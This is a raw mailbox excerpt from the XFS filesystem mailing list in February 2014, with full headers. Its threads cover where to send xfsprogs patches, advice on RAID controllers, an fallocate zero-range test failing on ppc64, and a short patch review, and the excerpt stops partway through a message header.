X-Barracuda-Envelope-From: dongsheng081251@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.217.175 X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.175] Received: by mail-lb0-f175.google.com with SMTP id w7so641680lbi.6 for ; Wed, 26 Feb 2014 05:57:42 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=ixgEbU2pvStYY0n2Jq05EmRT+oyX/eXsWyW9L/FhCAU=; b=bu0eN04WGquaHsSJczaiA4B+opq5C7iCtQHVD9AGm1S45y1d93t6CoMUhDLXOvHnIh E+LPcDfbfLoHD1/xwjIVwBkD7WYioWQ3U4KLh7XYH7xWPIikpiB1TCIfb54uv7fO81eD XaMpk8MIBuwbcqrabOARFCH32IIHjwPljP4GkCyhNHr5tL8lqjIKS3cUFVdcGDhKzFfa VJF42P1dVWJAvzEHmb7EQXWrSTPLYTOPqHrpzFzTYviRbexQm/TiqWJajE+1k7fLb/Zs e++bt0891asR5P5xiJGQp31K4RhLChUpwKqeNYXF1lcUFmKcMzeMbobWVFAcgI6cqRJr mDZg== MIME-Version: 1.0 X-Received: by 10.112.160.161 with SMTP id xl1mr135561lbb.71.1393423062586; Wed, 26 Feb 2014 05:57:42 -0800 (PST) Received: by 10.112.72.106 with HTTP; Wed, 26 Feb 2014 05:57:42 -0800 (PST) Date: Wed, 26 Feb 2014 21:57:42 +0800 Message-ID: Subject: Is the xfsprogs community still developing?? From: Dongsheng Yang X-ASG-Orig-Subj: Is the xfsprogs community still developing?? To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c33528aad86504f34f9608 X-Barracuda-Connect: mail-lb0-f175.google.com[209.85.217.175] X-Barracuda-Start-Time: 1393423064 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145532 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c33528aad86504f34f9608 Content-Type: text/plain; charset=ISO-8859-1 Hi all, I am not sure is here the correct place to post this question. But I do not know mail list for xfsprogs. It seems it has been a looooooooog time since the last commit for xfsprogs, about 19 months. http://git.kernel.org/cgit/fs/xfs/xfsprogs-dev.git/ Could anybody help to tell me where or who I can send my patch about xfsprogs to? --001a11c33528aad86504f34f9608 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Hi all,
=A0 =A0 =A0I am not sure is here the correct p= lace to post this question. But I do not know
mail list for xfspr= ogs.
=A0 =A0 =A0It seems it has been a looooooooog time since the= last commit for xfsprogs, about
<= div>
=A0 =A0 =A0Could anybody help to tell me where or who I can send m= y patch about xfsprogs
to?
--001a11c33528aad86504f34f9608-- From stefanrin@gmail.com Wed Feb 26 08:04:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 926947F4E for ; Wed, 26 Feb 2014 08:04:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B2A88F8040 for ; Wed, 26 Feb 2014 06:04:10 -0800 (PST) X-ASG-Debug-ID: 1393423447-04bdf05dab63670001-NocioJ Received: from mail-wi0-f177.google.com (mail-wi0-f177.google.com [209.85.212.177]) by cuda.sgi.com with ESMTP id dDMBNBxSodZ5Zq3S (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 06:04:08 -0800 (PST) X-Barracuda-Envelope-From: stefanrin@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.177] Received: by mail-wi0-f177.google.com with SMTP id e4so2158705wiv.4 for ; Wed, 26 Feb 2014 06:04:07 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=onTBDVQMGI4icn13EbXjUpS6gy0ChfQhc+b7IhXR46s=; b=x09pIwGTm+BqmPpc4iNxL1ok95AUAAaNnCrwM1v1HSalQ2/wwJ85/PTDiX+N15La/U Ime4/J9Zksi+amc75gAeCK3axRGz30UBCzuRaUaEwn2jH2OxaUVl5mUIYAm3u4zCgDYK wpauix38ONK8DYcyMNyfvfowAHWykGlFQAMOqaXq1WbKunw2YnU1NTYEunNhC/lanzW+ maysSHif0PwQLmWHyts0i6Uj2tEUcd5Qhdmga+ORY4ddCnRuYLTLr04bWOuMR9VusxcM t4gAn/e0mdF4VsMNwlxgsiuVSPs7ifSE7nsehrQnVJ8gphANvF+x2oo7RU3YhTrl51ex RzCw== MIME-Version: 1.0 X-Received: by 10.180.106.40 with SMTP id gr8mr4810164wib.31.1393423447018; Wed, 26 Feb 2014 06:04:07 -0800 (PST) Received: by 10.194.134.67 with HTTP; Wed, 26 Feb 2014 06:04:06 -0800 (PST) In-Reply-To: References: Date: Wed, 26 Feb 2014 15:04:06 +0100 Message-ID: Subject: Re: Is the xfsprogs community still developing?? From: Stefan Ring X-ASG-Orig-Subj: Re: Is the xfsprogs community still developing?? To: Dongsheng Yang Cc: Linux fs XFS Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-wi0-f177.google.com[209.85.212.177] X-Barracuda-Start-Time: 1393423448 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.11 X-Barracuda-Spam-Status: No, SCORE=0.11 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145532 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.10 BSF_SC0_SA085 Custom Rule SA085 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain > I am not sure is here the correct place to post this question. But I do > not know > mail list for xfsprogs. I think that this one is the correct place. > It seems it has been a looooooooog time since the last commit for > xfsprogs, about > 19 months. http://git.kernel.org/cgit/fs/xfs/xfsprogs-dev.git/ > Could anybody help to tell me where or who I can send my patch about > xfsprogs > to? Seems to have moved: http://xfs.org/index.php/Getting_the_latest_source_code From dongsheng081251@gmail.com Wed Feb 26 08:13:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A35EF7F50 for ; Wed, 26 Feb 2014 08:13:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 22387AC009 for ; Wed, 26 Feb 2014 06:13:31 -0800 (PST) X-ASG-Debug-ID: 1393424008-04cb6c56755eaf0001-NocioJ Received: from mail-lb0-f177.google.com (mail-lb0-f177.google.com [209.85.217.177]) by cuda.sgi.com with ESMTP id h6DrD5GEBNE00D5a (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 06:13:29 -0800 (PST) X-Barracuda-Envelope-From: dongsheng081251@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.217.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.177] Received: by mail-lb0-f177.google.com with SMTP id z11so651059lbi.22 for ; Wed, 26 Feb 2014 06:13:27 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=MV07sW0kcedAUBec/eYQd7RpDHQmwzgRMYQLt3hL6RA=; b=kwOYSXRisYjsBwuvmv3qPqAx9nUXxJ74MJMJQ6xGFJSHeG/O41KSy408M15iUn70O+ T9aNvMxyl0czOTzi9gQaRYdM1LYXIe06wKZG/RN0a/o5SKuT/ax0u0KCLihUMiB2NjXP VormxUnluWF1zBghZkim1sjCwYWXZZ7Xb+kQYK6pwMvicieWPtReIIYvhOATDAXROV5l vLhezPPlGFNiJOR0e12TMIYcmBW3gYVYmJo3+CYeELfW+l9aCY3j0zRKCkBeW/48Wy+D j1liidf76nBri0ul7nO4FgMmQFHKbSwkOaS4rlIsgDlTGkPHV8751exSP932bGyCZm/2 yM7A== MIME-Version: 1.0 X-Received: by 10.112.51.202 with SMTP id m10mr492256lbo.63.1393424007708; Wed, 26 Feb 2014 06:13:27 -0800 (PST) Received: by 10.112.72.106 with HTTP; Wed, 26 Feb 2014 06:13:27 -0800 (PST) In-Reply-To: References: Date: Wed, 26 Feb 2014 22:13:27 +0800 Message-ID: Subject: Re: Is the xfsprogs community still developing?? From: Dongsheng Yang X-ASG-Orig-Subj: Re: Is the xfsprogs community still developing?? To: Stefan Ring Cc: Linux fs XFS Content-Type: multipart/alternative; boundary=001a113371b60042bb04f34fcf7c X-Barracuda-Connect: mail-lb0-f177.google.com[209.85.217.177] X-Barracuda-Start-Time: 1393424008 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.11 X-Barracuda-Spam-Status: No, SCORE=0.11 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145532 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain --001a113371b60042bb04f34fcf7c Content-Type: text/plain; charset=ISO-8859-1 Hi Stefan, On Wed, Feb 26, 2014 at 10:04 PM, Stefan Ring wrote: > > I am not sure is here the correct place to post this question. But > I do > > not know > > mail list for xfsprogs. > > I think that this one is the correct place. > > > It seems it has been a looooooooog time since the last commit for > > xfsprogs, about > > 19 months. http://git.kernel.org/cgit/fs/xfs/xfsprogs-dev.git/ > > Could anybody help to tell me where or who I can send my patch about > > xfsprogs > > to? > > Seems to have moved: > http://xfs.org/index.php/Getting_the_latest_source_code > Oh, yes!!! Thanx for your help. Have a good day. :) --001a113371b60042bb04f34fcf7c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Hi Stefan,

On Wed, Feb 26, 2014 at 10:= 04 PM, Stefan Ring <stefanrin@gmail.com> wrote:
> =A0 =A0 =A0I am not sur= e is here the correct place to post this question. But I do
> not know
> mail list for xfsprogs.

I think that this one is the correct place.

> =A0 =A0 =A0It seems it has been a looooooooog time since the last comm= it for
> xfsprogs, about
> 19 months. http://git.kernel.org/cgit/fs/xfs/xfsprogs-dev.git/<= /a>
> =A0 =A0 =A0Could anybody help to tell me where or who I can send my pa= tch about
> xfsprogs
> to?

Seems to have moved: http://xfs.org/index.php/Getting_the_= latest_source_code

Oh, yes!!! Thanx fo= r your help. Have a good day. :)
--001a113371b60042bb04f34fcf7c-- From chamill@wesleyan.edu Wed Feb 26 08:20:03 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 299D57F52 for ; Wed, 26 Feb 2014 08:20:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1941AC008 for ; Wed, 26 Feb 2014 06:20:02 -0800 (PST) X-ASG-Debug-ID: 1393424400-04bdf05dab64210001-NocioJ Received: from internal-smtp3.wesleyan.edu (internal-smtp3.wesleyan.edu [129.133.6.182]) by cuda.sgi.com with ESMTP id 0emthquhRSYX02nP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 26 Feb 2014 06:20:00 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.182 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s1QEJsRI021951 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Wed, 26 Feb 2014 09:19:54 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1393424394; bh=8Wr6A1AaemhRTXKYUCLOUmULv8F7Op7JBA1uNjn0i1M=; h=From:To:Cc:In-reply-to:Subject:References:Date; b=KnSZZ7AcwBwgI0muOwxjZDAQRCcHZFiH2rtJpSNCesdsCvgBKGyhOhhwPNcWL3J15 yxMzlGuDMD5712Mounb/ucWsdG9kynzY8rFd8DJG5k9Ta1RAUTBS3ZUwOAwYnJctTo XkRh+HjnCIEK4R4fcuerlaZFVaiO8XXhSQJp+gGY= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" To: stan Cc: xfs In-reply-to: <530CF84C.2080200@hardwarefreak.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <52E91923.4070706@sandeen.net> <52EB3B96.7000103@hardwarefreak.com> <1391202273-sup-9265@al.wesleyan.edu> <52ED61C9.8060504@hardwarefreak.com> <20140202212152.GP2212@dastard> <1391443675-sup-1730@al.wesleyan.edu> <20140203214128.GR13997@dastard> <52F09E36.8050606@hardwarefreak.com> <1392748390-sup-1943@al.wesleyan.edu> <5303E7AC.50903@hardwarefreak.com> <20140220183125.29149.64880@al.wesleyan.edu> <5306C90B.1000904@hardwarefreak.com> <20140221095742.0ca161b0@galadriel.home> <530809A7.70900@hardwarefreak.com> <1393347755-sup-205@al.wesleyan.edu> <530CF84C.2080200@hardwarefreak.com> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Wed, 26 Feb 2014 09:19:54 -0500 Message-Id: <1393423550-sup-1535@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s1QEJsRI021951 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp3.wesleyan.edu[129.133.6.182] X-Barracuda-Start-Time: 1393424400 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145532 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Excerpts from Stan Hoeppner's message of 2014-02-25 15:08:44 -0500: > Only enough to recommend you to replace it immediately with an LSI or > Adaptec. Areca is an absolutely tiny Taiwanese company with inferior > product and, from what I gather, horrible support for North American > customers, and Linux customers in general. The vast majority of their > customers seem to be SOHOs and individuals using the boards in MS > Windows servers, with very few running more than a handful of drives, > and few running lots of drives doing serious work. Noted. > If you run into any kind of performance issue with their board, and > explain to them your number of drives and arrays, OS platform and > workload, they'll be baffled like a 3rd grader and have no idea how to > respond. For better or worse, this will be in line with the "support" I've experienced from the vast majority of vendors I've had to deal with. > The Areca uses inferior older technology, has inferior performance, > limited firmware feature set which doesn't support spans > (concatenation), near non-existent US support especially for advanced > Linux workloads/users, only offers battery cache backup, and is all of ... > > $10 USD cheaper than the category equivalent yet vastly superior LSI. Does seem to be the case. > By some off chance you don't already know, LSI is the industry gold > standard RAID HBA. They are the sole RAID HBA OEM board supplier to > Dell, IBM, Intel, Lenovo, Fujitsu/Siemens, etc, and their ASICs are used > by many others on their in house designs. LSI's ASICs and firmware have > seen more Linux workloads of all shapes and sizes than all other > vendors' RAID HBAs combined. I am aware; all our servers have LSI in them for boot arrays and whatnot. > Given all of the above, and that there are at least 3 other LSI boards > of superior performance, in the same price range for the past year, why > did you go with Areca? For better or worse, they're what we were able to get from our white box vendor. It will, unfortunately, have to do for now. I'll be sure to make a note for future expansion. Until then, we'll just have to tread carefully. Thanks again for all of your help. -- Morgan Hamill From lczerner@redhat.com Wed Feb 26 08:24:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A6B607F56 for ; Wed, 26 Feb 2014 08:24:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6FF58304081 for ; Wed, 26 Feb 2014 06:24:34 -0800 (PST) X-ASG-Debug-ID: 1393424670-04cbb066e460dc0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 63HlfgHY08wdSasn for ; Wed, 26 Feb 2014 06:24:30 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1QEOLUm028139 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 26 Feb 2014 09:24:21 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1QEOI9B012398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 26 Feb 2014 09:24:20 -0500 Date: Wed, 26 Feb 2014 15:24:18 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range In-Reply-To: <20140225215011.GF13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero range Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-6-git-send-email-lczerner@redhat.com> <20140225205349.GD13647@dastard> <20140225215011.GF13647@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1156906821-1393424660=:2243" X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393424670 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-1156906821-1393424660=:2243 Content-Type: TEXT/PLAIN; charset=utf-8 Content-Transfer-Encoding: 8BIT On Wed, 26 Feb 2014, Dave Chinner wrote: > Date: Wed, 26 Feb 2014 08:50:11 +1100 > From: Dave Chinner > To: Lukáš Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > range > > On Tue, Feb 25, 2014 at 10:01:06PM +0100, Lukáš Czerner wrote: > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > > > Date: Wed, 26 Feb 2014 07:53:49 +1100 > > > From: Dave Chinner > > > To: Lukas Czerner > > > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > > > Subject: Re: [PATCH 6/6] ext4/242: Add ext4 specific test for fallocate zero > > > range > > > > > > On Tue, Feb 25, 2014 at 08:15:28PM +0100, Lukas Czerner wrote: > > > > This is copy of xfs/242. However it's better to make it file system > > > > specific because the range can be zeroes either directly by writing > > > > zeroes, or converting to unwritten extent, so the actual result might > > > > differ from file system to file system. > > > > > > You could say the same thing about preallocation using unwritten > > > extents. Yet, funnily enough, we have generic tests for them because > > > all filesystems currently use unwritten extents for preallocation > > > and behave identically.... > > > > > > This test is no different - all filesystems currently use unwritten > > > extents, and so this test should be generic because all existing > > > filesystems *should* behave the same. > > > > > > When we get a filesystem that zeros rather uses unwritten extents, > > > we can add a new *generic* test that tests for zeroed data extents > > > rather than unwritten extents. All that we will need is a method of > > > checking what behaviour the filesystem has and adding that to a > > > _requires directive to ensure the correct generic fallocate tests > > > are run... > > > > Currently xfs/242 fails on xfs for me > > Really? Where's the bug report? I haven't seen a failure on xfs/242 > on any of my test machines for at least a year, even on 1k block > size filesystems... > > $ sudo ./check xfs/242 > FSTYP -- xfs (debug) > PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > MOUNT_OPTIONS -- /dev/vdb /mnt/scratch > > xfs/242 1s ... 0s > Ran: xfs/242 > Passed all 1 tests > $ Here it is. xfs/242 fails on ppc64 with latest linus tree # uname -a Linux ibm-p740-01-lp4.rhts.eng.bos.redhat.com 3.14.0-rc4+ #1 SMP Wed Feb 26 08:59:48 EST 2014 ppc64 ppc64 ppc64 GNU/Linux # ./check xfs/242 FSTYP -- xfs (non-debug) PLATFORM -- Linux/ppc64 ibm-p740-01-lp4 3.14.0-rc4+ MKFS_OPTIONS -- -f -bsize=4096 /dev/loop1 MOUNT_OPTIONS -- -o context=system_u:object_r:nfs_t:s0 /dev/loop1 /mnt/test2 xfs/242 - output mismatch (see /root/xfstests/results//xfs/242.out.bad) --- tests/xfs/242.out 2014-02-26 05:51:16.602579462 -0500 +++ /root/xfstests/results//xfs/242.out.bad 2014-02-26 09:20:55.585396040 -0500 @@ -1,76 +1,71 @@ QA output created by 242 1. into a hole 0: [0..7]: hole -1: [8..23]: unwritten +1: [8..23]: data 2: [24..39]: hole daa100df6e6711906b61c9ab5aa16032 ... (Run 'diff -u tests/xfs/242.out /root/xfstests/results//xfs/242.out.bad' to see the entire diff) Ran: xfs/242 Failures: xfs/242 Failed 1 of 1 tests Here is 242.out.bad QA output created by 242 1. into a hole 0: [0..7]: hole 1: [8..23]: data 2: [24..39]: hole daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..39]: data cc58a7417c2d7763adc45b6fcd3fa024 3. into unwritten space 0: [0..39]: unwritten daa100df6e6711906b61c9ab5aa16032 4. hole -> data 0: [0..7]: hole 1: [8..31]: data 2: [32..39]: hole cc63069677939f69a6e8f68cae6a6dac 5. hole -> unwritten 0: [0..7]: hole 1: [8..23]: data 2: [24..31]: unwritten 3: [32..39]: hole daa100df6e6711906b61c9ab5aa16032 6. data -> hole 0: [0..23]: data 1: [24..39]: hole 1b3779878366498b28c702ef88c4a773 7. data -> unwritten 0: [0..15]: data 1: [16..31]: unwritten 2: [32..39]: hole 1b3779878366498b28c702ef88c4a773 8. unwritten -> hole 0: [0..7]: unwritten 1: [8..23]: data 2: [24..39]: hole daa100df6e6711906b61c9ab5aa16032 9. unwritten -> data 0: [0..15]: unwritten 1: [16..31]: data 2: [32..39]: hole cc63069677939f69a6e8f68cae6a6dac 10. hole -> data -> hole 0: [0..7]: hole 1: [8..31]: data 2: [32..39]: hole daa100df6e6711906b61c9ab5aa16032 11. data -> hole -> data 0: [0..39]: data f6aeca13ec49e5b266cd1c913cd726e3 12. unwritten -> data -> unwritten 0: [0..15]: unwritten 1: [16..23]: data 2: [24..39]: unwritten daa100df6e6711906b61c9ab5aa16032 13. data -> unwritten -> data 0: [0..7]: data 1: [8..23]: unwritten 2: [24..39]: data f6aeca13ec49e5b266cd1c913cd726e3 14. data -> hole @ EOF 0: [0..39]: data e1f024eedd27ea6b1c3e9b841c850404 15. data -> hole @ 0 0: [0..39]: data eecb7aa303d121835de05028751d301c 16. data -> cache cold ->hole 0: [0..39]: data eecb7aa303d121835de05028751d301c 17. data -> hole in single block file 0: [0..7]: data 0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * 0000200 0000 0000 0000 0000 0000 0000 0000 0000 * 0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd * --8323328-1156906821-1393424660=:2243-- From tinguely@sgi.com Wed Feb 26 08:53:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4A9587F51 for ; Wed, 26 Feb 2014 08:53:56 -0600 (CST) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay1.corp.sgi.com (Postfix) with ESMTP id EC6AA8F804C; Wed, 26 Feb 2014 06:53:55 -0800 (PST) Message-ID: <530E0007.9080806@sgi.com> Date: Wed, 26 Feb 2014 08:53:59 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: byte range buffer dirty region tracking References: <1393194354-12780-1-git-send-email-david@fromorbit.com> In-Reply-To: <1393194354-12780-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/23/14 16:25, Dave Chinner wrote: > From: Dave Chinner > Switching this to just track the first and last modified bytes in > the block and only converting that to a dirty bitmap in the buffer > log item at format time, however, gets rid of most of this dirty > bitmap overhead without increasing memcpy time at all. the result > is that peformance on a 64k directory block size increases to > roughly 16,000 files/s with memcpy() overhead only slightly > increasing. Looks interesting. 4 regions seems reasonable to me. --Mark. From lczerner@redhat.com Wed Feb 26 08:58:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7EB6D7F51 for ; 